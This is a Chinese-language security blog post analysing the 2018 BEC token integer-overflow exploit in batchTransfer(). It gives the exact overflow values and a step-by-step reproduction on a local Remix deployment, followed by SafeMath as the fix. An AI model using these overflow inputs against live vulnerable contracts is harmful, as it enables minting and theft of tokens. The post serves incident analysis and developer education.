閱讀此文大約需花費朋友你 5~10 min
目錄
- 事件回顧
- 技術背景
- 攻擊細節剖析
- 攻擊復現
- 預防方案
- 作案動機
- 參考資料
0x01 事件回顧
市值一度突破280億美金“全球第一個基於區塊鏈技術打造的美容生態鏈平臺”BEC(Beauty Chain)在2018年4月22日遭到攻擊者0x09a34e***ed5fe93c
利用溢出漏洞缺陷。
在開始詳細的細節剖析之前,需要先了解一些技術背景作爲鋪墊。
0x02 技術背景
Solidity 中的 uint256
Solidity最大能處理256位數字,最大值爲2256-1,加1會導致歸 0,發生溢出。
# 此爲上溢
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+
0x0000000000000000000000000000000000000000000000000000000000000001
=
0x0000000000000000000000000000000000000000000000000000000000000000
0x03 攻擊細節剖析
攻擊者0x09a34e***ed5fe93c
通過溢出漏洞增發大量 BEC。交易詳情
那麼攻擊者是如何實現這個操作的呢?我們來瞄一下 BEC 合約。合約地址
通過上圖我們可以看到 #259
行的 batchTransfer() 方法,從名字看是一個批量轉賬的方法。
讓我們繼續看方法內部,#261
行,事情變得有趣了起來…
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
雖說做了限制,有沒有可能構造 cnt
和 _value
讓 amount
溢出?of course!
轉頭來看攻擊者的操作。
# 此也爲上溢
0x8000000000000000000000000000000000000000000000000000000000000000
*
2
=
0x0000000000000000000000000000000000000000000000000000000000000000
於是,cnt = 2
=>require(cnt > 0 && cnt <= 20);
,此行通過,amount = 0
,_value = 0x8000000000000000000000000000000000000000000000000000000000000000
=>require(_value > 0 && balances[msg.sender] >= amount);
,此行也通過。
攻擊者原賬戶,一分錢都沒動達到大額轉出到其他賬戶的效果。
破案了麼?我們再驗證一下。
驗證成功,數值相同。(e是exponent,表示以10爲底的指數。)
0x04 攻擊復現
原理明白了,那我們何不化身超級大黑客操作一把?
- Remix 編輯器
FILE EXPLORERS
創建Bec.sol文件,將BecToken合約copy過來SOLIDITY COMPILER
選擇 0.4.16 版本編譯器進行編譯DEPLOY & RUN TRANSACTIONS
選擇 PausableToken- 點擊 Deploy
- batchTransfer 輸入下列值(本次我們測試四個值能否成功)
["0xb4d30cac5124b46c2df0cf3e3e1be05f42119033","0x0e823ffe018727585eaf5bc769fa80472f76c3d7","0xb4d30cac5124b46c2df0cf3e3e1be05f42119033","0xb4d30cac5124b46c2df0cf3e3e1be05f42119033"]
0x4000000000000000000000000000000000000000000000000000000000000000
- 刷幣成功
0x05 預防方案
爲避免程序出現溢出,開發者可考慮運算中使用OpenZeppelin庫的SafeMath。SafeMath
0x06 作案動機
技術活說完了,朋友們有沒有想過一件詭異的事情,他的動機是什麼?
畢竟,那些個BEC在兩個地址裏面好好的躺着呢
且,BEC因爲此漏洞幣值縮水
且,如此大的資金當量難以出手變現
這個黑客是在玩麼?感興趣可以交流一下。
0x07 參考資料
BEC 智能合約無限轉幣漏洞分析及預警-慢霧安全團隊
利用溢出漏洞的交易詳情
區塊鏈安全—溢出的BEC漏洞
美鏈 BEC 合約漏洞技術分析
--則若@慢霧安全團隊